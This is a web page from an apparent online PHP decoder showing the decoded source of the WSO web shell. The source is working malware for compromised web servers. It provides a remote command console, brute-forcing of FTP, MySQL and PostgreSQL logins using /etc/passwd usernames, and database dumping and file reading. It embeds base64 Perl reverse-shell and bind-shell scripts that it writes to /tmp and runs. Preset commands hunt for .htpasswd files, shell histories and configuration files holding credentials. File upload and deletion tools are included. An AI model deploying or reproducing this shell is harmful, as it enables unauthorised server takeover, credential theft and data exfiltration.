Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto kKb5l; H_MjG: function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, ..
Decoded Output download
<?php goto kKb5l; H_MjG: function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto bUnBe; hvHWh: @set_time_limit(0); goto kORnT; Fans1: function wsoWhich($p) { $path = wsoEx("which " . $p); if (!empty($path)) { return $path; } return false; } goto dcXMn; vMwzZ: function actionConsole() { if (!empty($_POST["p1"]) && !empty($_POST["p2"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "stderr_to_out", true); $_POST["p1"] .= " 2>&1"; } elseif (!empty($_POST["p1"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "stderr_to_out", 0); } if (isset($_POST["ajax"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", true); ob_start(); echo "d.cf.cmd.value='';\xa"; $temp = @iconv($_POST["charset"], "UTF-8", addcslashes("\xa$ " . $_POST["p1"] . "\xa" . wsoEx($_POST["p1"]), "\xa
\x9\'\x0")); if (preg_match("!.*cd\s+([^;]+)$!", $_POST["p1"], $match)) { if (@chdir($match[1])) { $GLOBALS["cwd"] = @getcwd(); echo "c_='" . $GLOBALS["cwd"] . "';"; } } echo "d.cf.output.value+='" . $temp . "';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "
", $temp; die; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", 0); } wsoHeader(); echo "<script>\xaif(window.Event) window.captureEvents(Event.KEYDOWN);\xavar cmds = new Array('');
var cur = 0;
function kp(e) {
\x9var n = (window.Event) ? e.which : e.keyCode;\xa if(n == 38) {
\x9 cur--;\xa if(cur>=0)\xa \x9document.cf.cmd.value = cmds[cur];
\x9else\xa\x9\x9 cur++;\xa\x9} else if(n == 40) {\xa cur++;
\x9 if(cur < cmds.length)
\x9 document.cf.cmd.value = cmds[cur];\xa \x9else
cur--;\xa\x9}\xa}
function add(cmd) {
cmds.pop();
\x9cmds.push(cmd);
\x9cmds.push('');
cur = cmds.length-1;\xa}
</script>"; echo "<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><select name=alias>"; foreach ($GLOBALS["aliases"] as $n => $v) { if ($v == '') { echo "<optgroup label="-" . htmlspecialchars($n) . "-"></optgroup>"; continue; } echo "<option value="" . htmlspecialchars($v) . "">" . $n . "</option>"; } echo "</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX <input type=checkbox name=show_errors value=1 " . (!empty($_POST["p2"]) || $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "stderr_to_out"] ? "checked" : '') . "> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>"; if (!empty($_POST["p1"])) { echo htmlspecialchars("$ " . $_POST["p1"] . "\xa" . wsoEx($_POST["p1"])); } echo "</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>"; echo "</form></div><script>d.cf.cmd.focus();</script>"; wsoFooter(); } goto SXC8a; mBixn: $default_charset = "Windows-1251"; goto xeLTs; LHDJO: if (!function_exists("posix_getpwuid") && strpos($GLOBALS["disable_functions"], "posix_getpwuid") === false) { function posix_getpwuid($p) { return false; } } goto CSr1L; v_5ZB: $disable_functions = @ini_get("disable_functions"); goto LyElU; imkkm: function actionBruteforce() { wsoHeader(); if (isset($_POST["proto"])) { echo "<h1>Results</h1><div class=content><span>Type:</span> " . htmlspecialchars($_POST["proto"]) . " <span>Server:</span> " . htmlspecialchars($_POST["server"]) . "<br>"; if ($_POST["proto"] == "ftp") { function wsoBruteForce($ip, $port, $login, $pass) { $fp = @ftp_connect($ip, $port ? $port : 21); if (!$fp) { return false; } $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif ($_POST["proto"] == "mysql") { function wsoBruteForce($ip, $port, $login, $pass) { $res = @mysql_connect($ip . ":" . $port ? $port : 3306, $login, $pass); @mysql_close($res); return $res; } } elseif ($_POST["proto"] == "pgsql") { function wsoBruteForce($ip, $port, $login, $pass) { $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST["server"]); if ($_POST["type"] == 1) { $temp = @file("/etc/passwd"); if (is_array($temp)) { foreach ($temp as $line) { $line = explode(":", $line); ++$attempts; if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) { $success++; echo "<b>" . htmlspecialchars($line[0]) . "</b>:" . htmlspecialchars($line[0]) . "<br>"; } if (@$_POST["reverse"]) { $tmp = ''; for ($i = strlen($line[0]) - 1; $i >= 0; --$i) { $tmp .= $line[0][$i]; } ++$attempts; if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo "<b>" . htmlspecialchars($line[0]) . "</b>:" . htmlspecialchars($tmp); } } } } } elseif ($_POST["type"] == 2) { $temp = @file($_POST["dict"]); if (is_array($temp)) { foreach ($temp as $line) { $line = trim($line); ++$attempts; if (wsoBruteForce($server[0], @$server[1], $_POST["login"], $line)) { $success++; echo "<b>" . htmlspecialchars($_POST["login"]) . "</b>:" . htmlspecialchars($line) . "<br>"; } } } } echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>"; } echo "<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>" . "<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>" . "<input type=hidden name=c value="" . htmlspecialchars($GLOBALS["cwd"]) . "">" . "<input type=hidden name=a value="" . htmlspecialchars($_POST["a"]) . "">" . "<input type=hidden name=charset value="" . htmlspecialchars($_POST["charset"]) . "">" . "<span>Server:port</span></td>" . "<td><input type=text name=server value="127.0.0.1"></td></tr>" . "<tr><td><span>Brute type</span></td>" . "<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>" . "<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>" . "<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>" . "<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>" . "<td><input type=text name=login value="root"></td></tr>" . "<tr><td><span>Dictionary</span></td>" . "<td><input type=text name=dict value="" . htmlspecialchars($GLOBALS["cwd"]) . "passwd.dic"></td></tr></table>" . "</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>"; echo "</div><br>"; wsoFooter(); } goto BR0ty; ALSYz: function wsoViewSize($s) { if ($s >= 1073741824) { return sprintf("%1.2f", $s / 1073741824) . " GB"; } elseif ($s >= 1048576) { return sprintf("%1.2f", $s / 1048576) . " MB"; } elseif ($s >= 1024) { return sprintf("%1.2f", $s / 1024) . " KB"; } else { return $s . " B"; } } goto jVSyF; XKhEZ: function actionNetwork() { wsoHeader(); $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; echo "<h1>Network tools</h1><div class=content>\xa <form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\xa\x9</form>
<form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">\xa <span>Back-connect [perl]</span><br/>\xa\x9Server: <input type='text' name='server' value='" . $_SERVER["REMOTE_ADDR"] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>\xa </form><br>"; if (isset($_POST["p1"])) { function cf($f, $t) { $w = @fopen($f, "w") or @function_exists("file_put_contents"); if ($w) { @fwrite($w, @base64_decode($t)); @fclose($w); } } if ($_POST["p1"] == "bpp") { cf("/tmp/bp.pl", $bind_port_p); $out = wsoEx("perl /tmp/bp.pl " . $_POST["p2"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>{$out}
" . wsoEx("ps aux | grep bp.pl") . "</pre>"; unlink("/tmp/bp.pl"); } if ($_POST["p1"] == "bcp") { cf("/tmp/bc.pl", $back_connect_p); $out = wsoEx("perl /tmp/bc.pl " . $_POST["p2"] . " " . $_POST["p3"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>{$out}
" . wsoEx("ps aux | grep bc.pl") . "</pre>"; unlink("/tmp/bc.pl"); } } echo "</div>"; wsoFooter(); } goto K1VTJ; vOaih: if ($os == "win") { $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); } else { $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => '', "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name "config*"", "find config* files in current dir" => "find . -type f -name "config*"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => '', "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv"); } goto GrLnO; wA5Y1: function wsoFooter() { $is_writable = is_writable($GLOBALS["cwd"]) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>"; echo "\xa</div>\xa<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>\xa\x9 <td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'><input type=submit value='>>'></form></td>\xa <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\xa </tr><tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
\x9\x9<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\xa\x9</tr><tr>
\x9<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
\x9<td><form method='post' ENCTYPE='multipart/form-data'>\xa\x9 <input type=hidden name=a value='FilesMAn'>
\x9\x9<input type=hidden name=c value='" . $GLOBALS["cwd"] . "'>\xa \x9<input type=hidden name=p1 value='uploadFile'>
\x9\x9<input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>\xa\x9 <span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>\xa </tr></table></div></body></html>"; } goto LHDJO; OhPGq: function actionSelfRemove() { if ($_POST["p1"] == "yes") { if (@unlink(preg_replace("!\(\d+\)\s.*!", '', __FILE__))) { die("Shell has been removed"); } else { echo "unlink error!"; } } if ($_POST["p1"] != "yes") { wsoHeader(); } echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,'yes')">Yes</a></div>"; wsoFooter(); } goto imkkm; NCu9f: $safe_mode = @ini_get("safe_mode"); goto iZJdO; BR0ty: function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { switch ($this->type) { case "mysql": if ($this->link = @mysql_connect($host, $user, $pass, true)) { return true; } break; case "pgsql": $host = explode(":", $host); if (!$host[1]) { $host[1] = 5432; } if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) { return true; } break; } return false; } function selectdb($db) { switch ($this->type) { case "mysql": if (@mysql_select_db($db)) { return true; } break; } return false; } function query($str) { switch ($this->type) { case "mysql": return $this->res = @mysql_query($str); break; case "pgsql": return $this->res = @pg_query($this->link, $str); break; } return false; } function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) { case "mysql": return @mysql_fetch_assoc($res); break; case "pgsql": return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch ($this->type) { case "mysql": return $this->query("SHOW databases"); break; case "pgsql": return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch ($this->type) { case "mysql": return $this->res = $this->query("SHOW TABLES"); break; case "pgsql": return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch ($this->type) { case "mysql": return @mysql_error(); break; case "pgsql": return @pg_last_error(); break; } return false; } function setCharset($str) { switch ($this->type) { case "mysql": if (function_exists("mysql_set_charset")) { return @mysql_set_charset($str, $this->link); } else { $this->query("SET CHARSET " . $str); } break; case "pgsql": return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch ($this->type) { case "mysql": return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file")); break; case "pgsql": $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;"); $r = array(); while ($i = $this->fetch()) { $r[] = $i["file"]; } $this->query("drop table wso2"); return array("file" => implode("
", $r)); break; } return false; } function dump($table, $fp = false) { switch ($this->type) { case "mysql": $res = $this->query("SHOW CREATE TABLE `" . $table . "`"); $create = mysql_fetch_array($res); $sql = $create[1] . ";\xa"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $this->query("SELECT * FROM `" . $table . "`"); $i = 0; $head = true; while ($item = $this->fetch()) { $sql = ''; if ($i % 1000 == 0) { $head = true; $sql = ";\xa
"; } $columns = array(); foreach ($item as $k => $v) { if ($v === null) { $item[$k] = "NULL"; } elseif (is_int($v)) { $item[$k] = $v; } else { $item[$k] = "'" . @mysql_real_escape_string($v) . "'"; } $columns[] = "`" . $k . "`"; } if ($head) { $sql .= "INSERT INTO `" . $table . "` (" . implode(", ", $columns) . ") VALUES
\x9(" . implode(", ", $item) . ")"; $head = false; } else { $sql .= "\xa ,(" . implode(", ", $item) . ")"; } if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $i++; } if (!$head) { if ($fp) { fwrite($fp, ";\xa\xa"); } else { echo ";
"; } } break; case "pgsql": $this->query("SELECT * FROM " . $table); while ($item = $this->fetch()) { $columns = array(); foreach ($item as $k => $v) { $item[$k] = "'" . addslashes($v) . "'"; $columns[] = $k; } $sql = "INSERT INTO " . $table . " (" . implode(", ", $columns) . ") VALUES (" . implode(", ", $item) . ");" . "
"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } break; } return false; } } $db = new DbClass($_POST["type"]); if (@$_POST["p2"] == "download") { $db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"]); $db->selectdb($_POST["sql_base"]); switch ($_POST["charset"]) { case "Windows-1251": $db->setCharset("cp1251"); break; case "UTF-8": $db->setCharset("utf8"); break; case "KOI8-R": $db->setCharset("koi8r"); break; case "KOI8-U": $db->setCharset("koi8u"); break; case "cp866": $db->setCharset("cp866"); break; } if (empty($_POST["file"])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach ($_POST["tbl"] as $v) { $db->dump($v); } die; } elseif ($fp = @fopen($_POST["file"], "w")) { foreach ($_POST["tbl"] as $v) { $db->dump($v, $fp); } fclose($fp); unset($_POST["p2"]); } else { die("<script>alert("Error! Can't open file");window.history.back(-1)</script>"); } } wsoHeader(); echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'><input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>
<td><select name='type'><option value='mysql' "; if (@$_POST["type"] == "mysql") { echo "selected"; } echo ">MySql</option><option value='pgsql' "; if (@$_POST["type"] == "pgsql") { echo "selected"; } echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value="" . (empty($_POST["sql_host"]) ? "localhost" : htmlspecialchars($_POST["sql_host"])) . ""></td>\xa<td><input type=text name=sql_login value="" . (empty($_POST["sql_login"]) ? "root" : htmlspecialchars($_POST["sql_login"])) . ""></td>
<td><input type=text name=sql_pass value="" . (empty($_POST["sql_pass"]) ? '' : htmlspecialchars($_POST["sql_pass"])) . ""></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; if (isset($_POST["sql_host"])) { if ($db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"])) { switch ($_POST["charset"]) { case "Windows-1251": $db->setCharset("cp1251"); break; case "UTF-8": $db->setCharset("utf8"); break; case "KOI8-R": $db->setCharset("koi8r"); break; case "KOI8-U": $db->setCharset("koi8u"); break; case "cp866": $db->setCharset("cp866"); break; } $db->listDbs(); echo "<select name=sql_base><option value=''></option>"; while ($item = $db->fetch()) { list($key, $value) = each($item); echo "<option value="" . $value . "" " . ($value == $_POST["sql_base"] ? "selected" : '') . ">" . $value . "</option>"; } echo "</select>"; } else { echo $tmp; } } else { echo $tmp; } echo "</td>
\x9\x9\x9 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>\xa <td><input type=checkbox name=sql_count value='on'" . (empty($_POST["sql_count"]) ? '' : " checked") . "> count the number of rows</td>\xa\x9 </tr>\xa\x9 </table>
\x9<script>
s_db='" . @addslashes($_POST["sql_base"]) . "';\xa function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';\xa if(f.p2) f.p2.value='';\xa if(f.p3) f.p3.value='';\xa }\xa }\xa \x9\x9function st(t,l) {
\x9\x9 \x9d.sf.p1.value = 'select';\xa \x9 \x9d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;\xa\x9\x9 \x9d.sf.submit();
\x9\x9}\xa \x9function is() {
\x9 \x9 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\xa\x9 }
</script>"; if (isset($db) && $db->link) { echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if (!empty($_POST["sql_base"])) { $db->selectdb($_POST["sql_base"]); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while ($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if (!empty($_POST["sql_count"])) { $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM " . $value . '')); } $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick="st('" . $value . "',1)">" . $value . "</a>" . (empty($_POST["sql_count"]) ? " " : " <small>({$n["n"]})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if (@$_POST["p1"] == "select") { $_POST["p1"] = "query"; $_POST["p3"] = $_POST["p3"] ? $_POST["p3"] : 1; $db->query("SELECT COUNT(*) as n FROM " . $_POST["p2"]); $num = $db->fetch(); $pages = ceil($num["n"] / 30); echo "<script>d.sf.onsubmit=function(){st("" . $_POST["p2"] . "", d.sf.p3.value)}</script><span>" . $_POST["p2"] . "</span> ({$num["n"]} records) Page # <input type=text name='p3' value=" . (int) $_POST["p3"] . ">"; echo " of {$pages}"; if ($_POST["p3"] > 1) { echo " <a href=# onclick='st("" . $_POST["p2"] . "", " . ($_POST["p3"] - 1) . ")'>< Prev</a>"; } if ($_POST["p3"] < $pages) { echo " <a href=# onclick='st("" . $_POST["p2"] . "", " . ($_POST["p3"] + 1) . ")'>Next ></a>"; } $_POST["p3"]--; if ($_POST["type"] == "pgsql") { $_POST["p2"] = "SELECT * FROM " . $_POST["p2"] . " LIMIT 30 OFFSET " . $_POST["p3"] * 30; } else { $_POST["p2"] = "SELECT * FROM `" . $_POST["p2"] . "` LIMIT " . $_POST["p3"] * 30 . ",30"; } echo "<br><br>"; } if (@$_POST["p1"] == "query" && !empty($_POST["p2"])) { $db->query(@$_POST["p2"]); if ($db->res !== false) { $title = false; echo "<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">"; $line = 1; while ($item = $db->fetch()) { if (!$title) { echo "<tr>"; foreach ($item as $key => $value) { echo "<th>" . $key . "</th>"; } reset($item); $title = true; echo "</tr><tr>"; $line = 2; } echo "<tr class="l" . $line . "">"; $line = $line == 1 ? 2 : 1; foreach ($item as $key => $value) { if ($value == null) { echo "<td><i>null</i></td>"; } else { echo "<td>" . nl2br(htmlspecialchars($value)) . "</td>"; } } echo "</tr>"; } echo "</table>"; } else { echo "<div><b>Error:</b> " . htmlspecialchars($db->error()) . "</div>"; } } echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; if (!empty($_POST["p2"]) && $_POST["p1"] != "loadfile") { echo htmlspecialchars($_POST["p2"]); } echo "</textarea><br/><input type=submit value='Execute'>"; echo "</td></tr>"; } echo "</table></form><br/>"; if ($_POST["type"] == "mysql") { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); if ($db->fetch()) { echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; } } if (@$_POST["p1"] == "loadfile") { $file = $db->loadFile($_POST["p2"]); echo "<br/><pre class=ml1>" . htmlspecialchars($file["file"]) . "</pre>"; } } else { echo htmlspecialchars($db->error()); } echo "</div>"; wsoFooter(); } goto XKhEZ; MByfO: function actionFilesMan() { if (!empty($_COOKIE["f"])) { $_COOKIE["f"] = @unserialize($_COOKIE["f"]); } if (!empty($_POST["p1"])) { switch ($_POST["p1"]) { case "uploadFile": if (!@move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) { echo "Can't upload file!"; } break; case "mkdir": if (!@mkdir($_POST["p2"])) { echo "Can't create new dir"; } break; case "delete": function deleteDir($path) { $path = substr($path, -1) == "/" ? $path : $path . "/"; $dh = opendir($path); while (($item = readdir($dh)) !== false) { $item = $path . $item; if (basename($item) == ".." || basename($item) == ".") { continue; } $type = filetype($item); if ($type == "dir") { deleteDir($item); } else { @unlink($item); } } closedir($dh); @rmdir($path); } if (is_array(@$_POST["f"])) { foreach ($_POST["f"] as $f) { if ($f == "..") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "paste": if ($_COOKIE["act"] == "copy") { function copy_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copy_paste($c . $s . "/", $f, $d . $s . "/"); } } } elseif (is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["f"] as $f) { copy_paste($_COOKIE["c"], $f, $GLOBALS["cwd"]); } } elseif ($_COOKIE["act"] == "move") { function move_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copy_paste($c . $s . "/", $f, $d . $s . "/"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["f"] as $f) { @rename($_COOKIE["c"] . $f, $GLOBALS["cwd"] . $f); } } elseif ($_COOKIE["act"] == "zip") { if (class_exists("ZipArchive")) { $zip = new ZipArchive(); if ($zip->open($_POST["p2"], 1)) { chdir($_COOKIE["c"]); foreach ($_COOKIE["f"] as $f) { if ($f == "..") { continue; } if (@is_file($_COOKIE["c"] . $f)) { $zip->addFile($_COOKIE["c"] . $f, $f); } elseif (@is_dir($_COOKIE["c"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "/")); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } 